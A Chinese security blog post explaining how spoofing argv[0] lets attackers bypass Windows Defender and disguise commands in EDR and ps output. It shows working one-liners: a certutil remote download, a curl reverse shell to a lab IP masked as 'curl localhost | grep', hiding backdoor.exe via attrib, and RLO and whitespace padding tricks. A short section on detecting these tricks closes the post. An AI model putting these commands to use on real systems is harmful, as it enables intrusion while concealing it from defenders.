探秘argv[0]:程序参数中的安全隐忧
2024-09-13 17:48:41

背景

在《Why bother with argv[0]》一文中,作者深入浅出地剖析了argv[0]在安全领域的潜在风险,学到了很多东西,与大家分享一下

概念

程序命令行的第一个参数,通常反映程序的名称/路径,通常称为argv[0],在大多数情况下可以设置为任意值而不会影响进程的流程。

创建两个.c文件,分别为echo_test.cecho2_test.c

1
2
3
4
#include <unistd.h>
int main(void){
return execl("/usr/bin/echo", "echo","hello,world!",NULL);
}
1
2
3
4
#include <unistd.h>
int main(void){
return execl("/usr/bin/echo", "echo22222","hello,world!",NULL);
}

echo2_test.c传入的argv[0]为echo22222,但二者运行后都产生了相同的效果,可见一般情况下修改argv[0]的值不会影响到整个程序的运行。

image-20240912160742641

execl 是 Unix 和类 Unix 操作系统中用于执行新程序的函数之一,属于 exec 函数族。execl 代表 “load”(加载),它用于替换当前进程映像,执行一个新的程序。函数原型如下:

1
>int execl(const char *path, const char *arg0, ..., (char *)NULL);

同时,在其他的编程语言中同样支持用户自定义argv[0]

1
2
3
4
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"
perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'
ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"
bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'

但从安全的角度来讲,利用argv[0]可造成一定程度的安全风险。

杀软对抗

以Windows Defender 为例,如果直接通过certutil -urlcache下载文件则会被阻止,但如果通过python将argv[0]置空,则可以成功执行。

1
2
3
4
5
6
#下载echo1失败
certutil -f -urlcache -split http://192.168.74.135/echo_test echo1
#下载echo2失败
python -c "import os; os.execvp('certutil.exe',['certutil','-f','-urlcache','-split','http://192.168.74.135/echo_test','echo2'])"
#下载echo3成功
python -c "import os; os.execvp('certutil.exe',[' ','-f','-urlcache','-split','http://192.168.74.135/echo_test','echo3'])"

image-20240912163734429

另一种绕过的杀软的方法是向argv[0]中传入其他的正常内容来迷惑杀软,比如使用attrib.exe来隐藏文件时,可能会触发杀软,但在默认情况下,desktop.ini 文件是隐藏的,杀软可能会将这一情况进行排除,那么此时如果传入的argv=["desktop.ini","+H","backdoor.exe"]可以在一定程度上进行绕过。

迷惑欺骗

某些情况下,EDR设备会获取某个进程的执行命令供安全人员用于分析网络安全事件,此时可以利用argv[0]对进程的执行命令进行伪装。

如下图所示,我们通过curl命令来反弹shell,同时令argv[0]=curl localhost | grep

1
bash -c "exec -a'curl localhost | grep' curl -Ns telnet://192.168.74.1:8888"

此时通过ps命令显示的执行命令为:

1
curl localhost | grep -Ns telnet://192.168.74.1:8888

显然对安全人员的分析造成了一定的欺骗,同时argv[0]的内容可以修改得更加复杂来迷惑安全人员。

image-20240912174449350

在Windows平台还可以使用RLO(Right-to-Left Override)来实施干扰。

通过\u202E使后面的字符全部逆序显示来干扰安全人员的分析。

1
python -c "import os; os.execvp('curl',['curl \u202E','http://www.baidu.com'])" 

image-20240913100442544

同时,也可以添加足够多的空白字符来隐藏执行的命令,在某些情况下,EDR为了节省开销只会截取特定长度的命令进行输出显示,从而让安全人员忽视这些危险操作。

1
python -c "import os; os.execvp('curl',[' '*1000,'http://www.baidu.com'])"

image-20240913101137257

预防和检测

对于网络安全人员来讲,我们应该要了解argv[0]如何工作以及它所带来的网络安全威胁,同时采取一定的手段进行规避检测,对于过长的或者包含有RLO字符的命令应标记为可疑;又或者在报告命令行参数时直接忽视掉argv[0],以减小其带来的影响。

参考:

Why bother with argv[0]?